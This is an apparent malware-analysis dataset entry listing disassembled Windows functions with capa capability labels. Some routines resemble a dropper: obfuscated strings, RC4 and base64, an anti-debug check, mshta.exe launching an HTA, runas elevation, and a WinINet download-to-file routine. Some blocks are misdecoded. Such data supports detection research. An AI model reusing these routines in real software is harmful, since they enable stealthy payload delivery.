joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180f996b
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x180f997c
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x180f999a
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x180f99f8
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x180f99df
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x180f99e8
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x180f99f2
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x180f99d4
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x180f995e
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x180f9a45
dec eax
je 0x180f9a3c
sub eax, 3
je 0x180f9a33
mov dword [ebp - 4], 0x40
jmp 0x180f9a62
mov dword [ebp - 4], 4
jmp 0x180f9a48
mov dword [ebp - 4], 0x20
jmp 0x180f9a48
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x180f9a94
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x180f9a14
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.180f92a5
retf 0xefe
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x180f9b70
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc dword [eax + eax]
add byte [eax], al
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
lea eax, [ebp - 0x3c4]
push eax
call fcn.180f92b5
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.180f926a
add esp, 0xc
mov dword [ebp - 0x538], eax
and byte [ebp - 0x3ec], 0
and byte [ebp - 0x3eb], 0
mov byte [ebp - 0x3ea], 0x11
and byte [ebp - 0x3e9], 0
mov byte [ebp - 0x3e8], 0xa9
mov byte [ebp - 0x3e7], 0x8b
mov byte [ebp - 0x3e6], 0x9a
mov byte [ebp - 0x3e5], 0xa3
mov byte [ebp - 0x3e4], 0x81
mov byte [ebp - 0x3e3], 0x8a
mov byte [ebp - 0x3e2], 0x9b
mov byte [ebp - 0x3e1], 0x82
mov byte [ebp - 0x3e0], 0x8b
mov byte [ebp - 0x3df], 0xa6
mov byte [ebp - 0x3de], 0x8f
mov byte [ebp - 0x3dd], 0x80
mov byte [ebp - 0x3dc], 0x8a
mov byte [ebp - 0x3db], 0x82
mov byte [ebp - 0x3da], 0x8b
mov byte [ebp - 0x3d9], 0xaf
mov byte [ebp - 0x3d8], 0xee
lea eax, [ebp - 0x3ec]
push eax
call fcn.180f92b5
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.180f926a
add esp, 0xc
mov dword [ebp - 0x340], eax
call fcn.180f92a5
mov edx, 0x80eb441a
movsd dword es:[edi], dword [esi]
int3

Function at 0x1810019c
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
lea eax, [ebp - 8]
mov edi, ecx
mov ecx, dword [ebp + 8]
push eax
call fcn.180eb129
imul esi, dword [eax + 4], 0x1000193
imul eax, dword [eax], 0x100011b
xor eax, esi
and eax, dword [edi + 0x18]
pop edi
pop esi
leave
ret 4

Function at 0x18100239
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp - 0xc]
push esi
push edi
mov edi, ecx
mov ecx, dword [ebp + 8]
push eax
call fcn.180eaf3d
mov esi, eax
lea edx, [esi + 4]
push edx
call fcn.180dd3ca
imul ecx, dword [esi], 0x1000193
xor eax, ecx
and eax, dword [edi + 0x18]
pop edi
pop esi
leave
ret 4
Function at 0x18100399
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, edx
push edi
mov dword [ebp - 4], esi
mov edi, ecx
lea eax, [esi + 4]
push eax
call fcn.180dd3ca
imul esi, dword [esi], 0x1000193
mov ebx, eax
xor ebx, esi
mov esi, dword [edi + 0xc]
and ebx, dword [edi + 0x18]
mov esi, dword [esi + ebx*8]
mov eax, dword [edi + 0xc]
mov ecx, dword [edi + 4]
cmp dword [eax + ebx*8], ecx
jne 0x181003d2
mov eax, ecx
jmp 0x181003d8
mov eax, dword [eax + ebx*8 + 4]
mov eax, dword [eax]
cmp esi, eax
je 0x1810040a
mov edx, dword [ebp - 4]
lea ecx, [esi + 8]
call fcn.18104893
test al, al
jne 0x181003ef
mov esi, dword [esi]
jmp 0x181003c3
mov ecx, dword [ebp - 4]
lea edx, [esi + 8]
call fcn.18104893
test al, al
jne 0x18100405
mov esi, dword [edi + 4]
mov ecx, esi
jmp 0x1810040c
mov ecx, dword [edi + 4]
jmp 0x1810040c
mov esi, ecx
cmp esi, ecx
jne 0x18100414
xor eax, eax
jmp 0x18100417
mov eax, dword [esi + 0x14]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x181047bb
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, ecx
lea eax, [ebx + 4]
push eax
call fcn.180dd3ca
imul edx, dword [ebx], 0x1000193
mov esi, dword [edi + 0xc]
xor eax, edx
and eax, dword [edi + 0x18]
mov dword [ebp + 0xc], eax
push eax
mov esi, dword [esi + eax*8]
jmp 0x181047fa
lea ecx, [esi + 8]
mov edx, ebx
call fcn.18104893
test al, al
jne 0x1810482a
mov esi, dword [esi]
push dword [ebp + 0xc]
lea eax, [ebp - 4]
mov ecx, edi
push eax
call fcn.180deb35
cmp esi, dword [eax]
jne 0x181047e7
mov esi, dword [edi + 4]
mov eax, esi
cmp esi, eax
jne 0x1810483d
push ecx
lea eax, [ebp + 0xc]
mov dword [ebp + 0xc], ebx
push eax
push ecx
push dword [ebp + 8]
mov ecx, edi
call fcn.18106381
mov eax, dword [ebp + 8]
jmp 0x18104846
lea edx, [esi + 8]
mov ecx, ebx
call fcn.18104893
test al, al
je 0x18104809
mov eax, dword [edi + 4]
jmp 0x1810480e
mov eax, dword [ebp + 8]
mov dword [eax], esi
mov byte [eax + 4], 0
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x4011a6
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push 0xffffffffffffffff
push 0x414e18
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push ebp
push esi
push edi
mov eax, dword [0x41e008]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
mov ebx, ecx
mov edi, dword [esp + 0x40]
lea ecx, [esp + 0x1c]
and dword [esp + 0x18], 0
push edi
call fcn.0040145e
and dword [esp + 0x30], 0
lea ecx, [esp + 0x1c]
push edi
call fcn.004014c8
mov esi, dword [esp + 0x1c]
test edi, edi
je 0x401260
mov ebp, dword [esp + 0x3c]
mov edx, esi
sub ebp, esi
inc byte [ebx + 0x100]
movzx ecx, byte [ebx + 0x100]
mov al, byte [ecx + ebx]
add byte [ebx + 0x101], al
mov byte [esp + 0x3c], al
movzx eax, byte [ebx + 0x101]
mov al, byte [eax + ebx]
mov byte [ecx + ebx], al
mov cl, byte [esp + 0x3c]
mov byte [esp + 0x17], al
movzx eax, byte [ebx + 0x101]
mov byte [eax + ebx], cl
test esi, esi
je 0x401258
movzx eax, byte [esp + 0x3c]
movzx ecx, byte [esp + 0x17]
add ecx, eax
and ecx, 0xff
mov al, byte [ecx + ebx]
xor al, byte [edx + ebp]
mov byte [edx], al
inc edx
dec edi
jne 0x401201
mov edi, dword [esp + 0x40]
mov ecx, dword [esp + 0x38]
mov edx, esi
push edi
call fcn.00401292
pop ecx
test esi, esi
je 0x401278
push esi
call fcn.004045f6
pop ecx
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 0xc
Function at 0x401292
Capabilities:
Encode data using base64

Disassembly:
sub esp, 0xc
mov eax, dword [esp + 0x10]
push ebx
push ebp
push esi
mov esi, ecx
mov dword [esp + 0xc], edx
push 3
add eax, 2
xor edx, edx
pop ecx
div ecx
xor ebx, ebx
mov dword [esi + 0x14], 0xf
mov ebp, eax
mov dword [esi + 0x10], ebx
shl ebp, 2
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], ebp
mov byte [esi], bl
cmp ebp, 0xffffffff
je 0x4013fc
push ebx
push ebp
mov ecx, esi
call fcn.004017e3
test al, al
je 0x4012f9
push ebx
push ebp
push ebx
mov ecx, esi
call fcn.004017a1
cmp dword [esi + 0x14], 0x10
mov dword [esi + 0x10], ebp
jb 0x4012f4
mov eax, dword [esi]
jmp 0x4012f6
mov eax, esi
mov byte [eax + ebp], bl
mov eax, dword [esp + 0x1c]
mov edx, ebx
push edi
mov edi, ebx
test eax, eax
je 0x4013c8
mov ebp, dword [esp + 0x10]
cmp edx, eax
jae 0x401319
movzx ecx, byte [edx + ebp]
inc edx
jmp 0x40131b
mov ecx, ebx
cmp edx, eax
jae 0x401326
movzx ebp, byte [edx + ebp]
inc edx
jmp 0x401328
mov ebp, ebx
cmp edx, eax
jae 0x401337
mov eax, dword [esp + 0x10]
movzx eax, byte [edx + eax]
inc edx
jmp 0x401339
mov eax, ebx
shl ecx, 8
add ecx, ebp
shl ecx, 8
add ecx, eax
cmp dword [esi + 0x14], 0x10
jb 0x40134d
mov ebp, dword [esi]
jmp 0x40134f
mov ebp, esi
mov eax, ecx
shr eax, 0x12
and eax, 0x3f
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edi + ebp], al
cmp dword [esi + 0x14], 0x10
jb 0x40136a
mov ebp, dword [esi]
jmp 0x40136c
mov ebp, esi
mov eax, ecx
shr eax, 0xc
and eax, 0x3f
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edi + ebp + 1], al
cmp dword [esi + 0x14], 0x10
jb 0x401388
mov ebp, dword [esi]
jmp 0x40138a
mov ebp, esi
mov eax, ecx
shr eax, 6
and eax, 0x3f
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edi + ebp + 2], al
cmp dword [esi + 0x14], 0x10
jb 0x4013a6
mov eax, dword [esi]
jmp 0x4013a8
mov eax, esi
and ecx, 0x3f
mov cl, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax + edi + 3], cl
add edi, 4
mov eax, dword [esp + 0x20]
cmp edx, eax
jb 0x40130a
mov ebp, dword [esp + 0x14]
push 3
pop ecx
xor edx, edx
div ecx
pop edi
mov ecx, dword [edx*4 + 0x41b760]
test ecx, ecx
jle 0x4013f3
cmp dword [esi + 0x14], 0x10
jb 0x4013e5
mov eax, dword [esi]
jmp 0x4013e7
mov eax, esi
sub eax, ebx
inc ebx
mov byte [eax + ebp - 1], 0x3d
cmp ebx, ecx
jl 0x4013db
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
push str.string_too_long
call fcn.00403de1
int3
Function at 0x401aba
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0xa0
mov eax, dword [0x41e008]
xor eax, ebp
mov dword [ebp + 0x74], eax
push ebx
push esi
mov esi, 0x9c
lea eax, [ebp - 0x28]
push esi
xor ebx, ebx
push ebx
push eax
call fcn.00408ce0
add esp, 0xc
mov dword [ebp - 0x28], esi
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x401b18
cmp dword [ebp - 0x24], 5
jne 0x401b18
xor ecx, ecx
movzx ebx, bl
inc ecx
cmp dword [ebp - 0x20], ecx
cmove ebx, ecx
cmp dword [ebp - 0x20], 2
jne 0x401b18
cmp byte [ebp + 0x72], cl
movzx ebx, bl
cmove ebx, ecx
mov ecx, dword [ebp + 0x74]
mov al, bl
pop esi
xor ecx, ebp
pop ebx
call fcn.00403e3d
lea esp, [ebp + 0x78]
pop ebp
ret
Function at 0x401e26
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push 0xffffffffffffffff
push 0x414edc
mov eax, dword fs:[0]
push eax
sub esp, 0x18c
mov eax, dword [0x41e008]
xor eax, esp
mov dword [esp + 0x188], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x41e008]
xor eax, esp
push eax
lea eax, [esp + 0x1a0]
mov dword fs:[0], eax
mov ebx, edx
mov edi, ecx
mov dword [esp + 0x20], edi
xor eax, eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x1a8], eax
call fcn.00401b2b
mov esi, dword [esp + 0x14]
cmp esi, dword [esp + 0x18]
jne 0x401eae
push 0x41b76c
mov ecx, edi
call fcn.00401407
test esi, esi
je 0x402043
jmp 0x40203c
xor eax, eax
mov dword [esp + 0x48], 0xf
push 0xffffffffffffffff
push eax
push esi
lea ecx, [esp + 0x40]
mov dword [esp + 0x50], eax
mov byte [esp + 0x40], al
call fcn.00401556
mov byte [esp + 0x1a8], 1
mov eax, dword [esp + 0x18]
sub eax, esi
push 0x18
cdq
pop ecx
idiv ecx
cmp eax, 1
jle 0x401f49
push ecx
lea ebp, [esi + 0x18]
lea esi, [eax - 1]
pop edi
push ecx
lea edx, [esp + 0x38]
lea ecx, [esp + 0x80]
call fcn.00402414
pop ecx
push ebp
mov edx, eax
mov byte [esp + 0x1ac], 2
lea ecx, [esp + 0x68]
call fcn.004024ad
pop ecx
push eax
lea ecx, [esp + 0x38]
call fcn.00402090
push 0
push 1
lea ecx, [esp + 0x6c]
call fcn.004015e8
push 0
push 1
lea ecx, [esp + 0x84]
mov byte [esp + 0x1b0], 1
call fcn.004015e8
add ebp, edi
dec esi
jne 0x401eee
cmp dword [ebx + 0x14], 0x10
mov eax, dword [ebx + 0x10]
mov dword [esp + 0x24], eax
jb 0x401f58
mov ebx, dword [ebx]
and dword [esp + 0x2c], 0
and dword [esp + 0x28], 0
xor eax, eax
mov byte [esp + eax + 0x94], al
inc eax
cmp eax, 0x100
jb 0x401f64
mov esi, dword [esp + 0x28]
xor ebp, ebp
mov edi, dword [esp + 0x2c]
movzx eax, byte [ebx + esi]
mov dl, byte [esp + ebp + 0x94]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0xff
inc esi
cmp esi, dword [esp + 0x24]
mov al, byte [esp + edi + 0x94]
mov byte [esp + ebp + 0x94], al
sbb eax, eax
and esi, eax
mov byte [esp + edi + 0x94], dl
inc ebp
cmp ebp, 0x100
jb 0x401f7d
push dword [esp + 0x44]
xor ebx, ebx
lea eax, [esp + 0x38]
cmp dword [esp + 0x4c], 0x10
lea ecx, [esp + 0x98]
mov word [esp + 0x198], bx
cmovae eax, dword [esp + 0x38]
push eax
lea eax, [esp + 0x54]
push eax
call fcn.004011a6
mov edi, dword [esp + 0x20]
lea eax, [esp + 0x4c]
push eax
mov ecx, edi
mov dword [edi + 0x14], 0xf
mov dword [edi + 0x10], ebx
mov byte [edi], bl
call fcn.0040150b
push ebx
push 1
lea ecx, [esp + 0x54]
call fcn.004015e8
push ebx
push 1
lea ecx, [esp + 0x3c]
call fcn.004015e8
mov esi, dword [esp + 0x14]
test esi, esi
je 0x402043
mov ebx, esi
push 0
push 1
mov ecx, ebx
call fcn.004015e8
add ebx, 0x18
cmp ebx, dword [esp + 0x18]
jne 0x402028
push esi
call fcn.004045f6
pop ecx
mov eax, edi
mov ecx, dword [esp + 0x1a0]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x188]
xor ecx, esp
call fcn.00403e3d
add esp, 0x198
ret
Function at 0x402586
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push esi
push edi
push 0x3c
xor ebx, ebx
lea eax, [ebp - 0x3c]
push ebx
push eax
mov esi, edx
mov edi, ecx
call fcn.00408ce0
add esp, 0xc
mov dword [ebp - 0x3c], 0x3c
mov dword [ebp - 0x38], 0x800040
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x28], esi
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
mov dword [ebp - 0x2c], edi
mov edx, str.runas
mov dword [ebp - 0x34], ebx
mov ecx, 0x41b76c
mov dword [ebp - 0x24], ebx
lea eax, [ebp - 0x3c]
cmove ecx, edx
push eax
mov dword [ebp - 0x30], ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x4025ff
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GetProcessId]
push dword [ebp - 4]
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402637
Capabilities:
Read file on windows

Disassembly:
push 0x40
mov eax, 0x414f7d
call fcn.00405b84
mov edi, ecx
mov eax, dword [ebp + 8]
push 0x41b83c
push eax
lea eax, [ebp - 0x3c]
push eax
call fcn.00404b38
push 2
push 0xfffffffffffffff0
push dword [ebp - 0x3c]
call fcn.00404e7d
push dword [ebp - 0x3c]
lea eax, [ebp - 0x38]
push 1
push 0x10
push eax
call fcn.00404d42
mov eax, dword [ebp - 0x30]
add esp, 0x28
cmp eax, 0x10000
ja 0x40271f
cmp dword [ebp - 0x34], eax
ja 0x40271f
push 2
neg eax
push eax
push dword [ebp - 0x3c]
call fcn.00404e7d
push dword [ebp - 0x3c]
lea eax, [ebp - 0x40]
push 1
push 4
push eax
call fcn.00404d42
lea eax, [ebp - 0x40]
add esp, 0x1c
mov eax, dword [eax]
lea ecx, [ebp - 0x2c]
cmp eax, dword [ecx]
jne 0x40271f
push dword [ebp - 0x34]
lea ecx, [ebp - 0x4c]
call fcn.00402729
xor ebx, ebx
mov dword [ebp - 4], ebx
push dword [ebp - 0x3c]
mov esi, dword [ebp - 0x4c]
push 1
push dword [ebp - 0x34]
push esi
call fcn.00404d42
mov eax, dword [ebp - 0x48]
lea ecx, [ebp - 0x28]
add esp, 0x10
mov dword [ebp - 0x14], 0xf
sub eax, esi
mov dword [ebp - 0x18], ebx
mov byte [ebp - 0x28], bl
push eax
push esi
call fcn.0040167d
lea eax, [ebp - 0x28]
push eax
lea ecx, [edi + 4]
call fcn.00402090
push ebx
push 1
lea ecx, [ebp - 0x28]
call fcn.004015e8
test esi, esi
je 0x40271b
push esi
call fcn.004045f6
pop ecx
mov al, 1
jmp 0x402721
xor al, al
call fcn.00405b42
ret 4

Function at 0x402778
Capabilities:
Create thread

Disassembly:
push ebx
push edi
push 0x28
call fcn.00404646
mov edi, eax
xor ebx, ebx
pop ecx
test edi, edi
je 0x4027be
mov dword [edi + 4], ebx
mov dword [edi + 8], ebx
mov dword [edi], vtable.WorkerThread.0
push esi
push dword [esp + 0x18]
mov dword [edi + 0x24], 0xf
mov dword [edi + 0x20], ebx
mov byte [edi + 0x10], bl
call fcn.00401041
pop ecx
push eax
push dword [esp + 0x1c]
lea ecx, [edi + 0x10]
call fcn.0040167d
pop esi
jmp 0x4027c0
mov edi, ebx
lea eax, [edi + 8]
push eax
push ebx
push edi
push 0x4027e9
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x927c0
push eax
mov dword [edi + 4], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
xor eax, eax
pop ebx
ret 0x10
Function at 0x4027f6
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x414fb2
mov eax, dword fs:[0]
push eax
sub esp, 0x88
mov eax, dword [0x41e008]
xor eax, esp
mov dword [esp + 0x84], eax
push ebx
push ebp
push esi
mov eax, dword [0x41e008]
xor eax, esp
push eax
lea eax, [esp + 0x98]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [esp + 0xa8]
lea ecx, [esp + 0x7c]
xor ebx, ebx
push eax
mov dword [esi], ebx
call fcn.00401407
push 0x41b848
mov edx, eax
mov dword [esp + 0xa4], ebx
lea ecx, [esp + 0x68]
call fcn.004029d3
mov byte [esp + 0xa4], 1
lea ecx, [esp + 0x50]
mov edx, eax
mov dword [esp], str.progress.hta
call fcn.004029d3
pop ecx
xor ebp, ebp
lea ecx, [esp + 0x64]
push ebx
inc ebp
push ebp
call fcn.004015e8
push ebx
push ebp
lea ecx, [esp + 0x84]
call fcn.004015e8
push 0x3c
lea eax, [esp + 0x14]
push ebx
push eax
call fcn.00408ce0
add esp, 0xc
mov dword [esp + 0x10], 0x3c
cmp dword [esp + 0x60], 0x10
lea eax, [esp + 0x4c]
mov dword [esp + 0x14], 0x800040
cmovae eax, dword [esp + 0x4c]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x10]
push eax
mov dword [esp + 0x30], ebp
mov dword [esp + 0x24], str.mshta.exe
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x2c], ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x4028f0
mov ecx, dword [esp + 0x48]
mov dword [esi], ecx
push ebx
push ebp
lea ecx, [esp + 0x54]
call fcn.004015e8
mov eax, esi
mov ecx, dword [esp + 0x98]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x84]
xor ecx, esp
call fcn.00403e3d
add esp, 0x94
ret 8
Function at 0x402a05
Capabilities:
Create http request
Download and write a file
Query remote server for available data
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov eax, 0x1010
call fcn.0040f2f0
mov eax, dword [0x41e008]
xor eax, esp
mov dword [esp + 0x100c], eax
mov edx, dword [0x4202d8]
push ebx
mov ebx, dword [esp + 0x1018]
push ebp
mov ebp, dword [esp + 0x1020]
push esi
mov esi, dword [esp + 0x1028]
push edi
xor edi, edi
test edx, edx
jne 0x402a55
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edx, eax
mov dword [0x4202d8], edx
test esi, esi
jne 0x402a5d
mov ecx, edi
jmp 0x402a6d
mov ecx, esi
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402a62
sub ecx, edi
xor edi, edi
push edi
push 0x4040300
push ecx
push esi
push ebx
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
push edi
mov esi, eax
lea eax, [esp + 0x1c]
push edi
push eax
push esi
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
push 0x41b858
lea eax, [esp + 0x18]
push ebp
push eax
call fcn.00404b38
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
add esp, 0xc
mov ebx, 0x1000
jmp 0x402acb
cmp dword [esp + 0x10], 0
je 0x402add
push dword [esp + 0x14]
lea eax, [esp + 0x20]
push dword [esp + 0x14]
push 1
push eax
call fcn.00405059
add esp, 0x10
lea eax, [esp + 0x10]
push eax
push ebx
lea eax, [esp + 0x24]
push eax
push esi
call edi
test eax, eax
jne 0x402aad
push dword [esp + 0x14]
call fcn.00405147
pop ecx
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [esp + 0x101c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00403e3d
add esp, 0x1010
ret 0xc
Function at 0x4034b4
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
mov eax, dword [0x41e008]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [ebp - 0x408], 0
cmp dword [edx + 0x14], 0x10
mov eax, dword [ebp + 8]
push esi
mov esi, ecx
mov ecx, dword [ebp + 0xc]
jb 0x4034df
mov edx, dword [edx]
cmp dword [ecx + 0x14], 0x10
jb 0x4034e7
mov ecx, dword [ecx]
cmp dword [eax + 0x14], 0x10
jb 0x4034ef
mov eax, dword [eax]
push edx
push 0x400
lea edx, [ebp - 0x404]
push edx
push 0
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x404]
mov ecx, esi
push eax
call fcn.00401407
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00403e3d
mov esp, ebp
pop ebp
ret

Function at 0x403799
Capabilities:
Check for peb ntglobalflag flag
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x415257
mov eax, dword fs:[0]
push eax
sub esp, 0x70
mov eax, dword [0x41e008]
xor eax, esp
mov dword [esp + 0x68], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x41e008]
xor eax, esp
push eax
lea eax, [esp + 0x84]
mov dword fs:[0], eax
mov eax, dword [esp + 0x94]
lea ecx, [esp + 0x64]
mov esi, dword [esp + 0x98]
push eax
call fcn.00401407
xor ebp, ebp
lea ecx, [esp + 0x4c]
push 0x41b848
mov edx, eax
mov dword [esp + 0x90], ebp
call fcn.004029d3
xor ebx, ebx
lea ecx, [esp + 0x38]
inc ebx
mov edx, eax
push esi
mov byte [esp + 0x94], bl
call fcn.004029d3
pop ecx
pop ecx
push ebp
push ebx
lea ecx, [esp + 0x54]
call fcn.004015e8
push ebp
push ebx
lea ecx, [esp + 0x6c]
mov byte [esp + 0x94], 4
call fcn.004015e8
push 0x41b948
lea ecx, [esp + 0x20]
call fcn.00401407
cmp dword [esp + 0x30], 0x10
lea eax, [esp + 0x1c]
cmovae eax, dword [esp + 0x1c]
push eax
mov eax, dword [esp + 0xa0]
movzx eax, ax
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
push ebp
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push ebp
push ebx
lea ecx, [esp + 0x24]
mov esi, eax
call fcn.004015e8
cmp dword [esp + 0x48], 0x10
lea ecx, [esp + 0x34]
push 0x41b858
cmovae ecx, dword [esp + 0x38]
lea eax, [esp + 0x1c]
push ecx
push eax
call fcn.00404b38
push dword [esp + 0x24]
push ebx
push esi
push edi
call fcn.00405059
push dword [esp + 0x34]
call fcn.00405147
add esp, 0x20
lea ecx, [esp + 0x34]
push ebp
push ebx
call fcn.004015e8
mov ecx, dword [esp + 0x84]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x68]
xor ecx, esp
call fcn.00403e3d
add esp, 0x7c
ret 0xc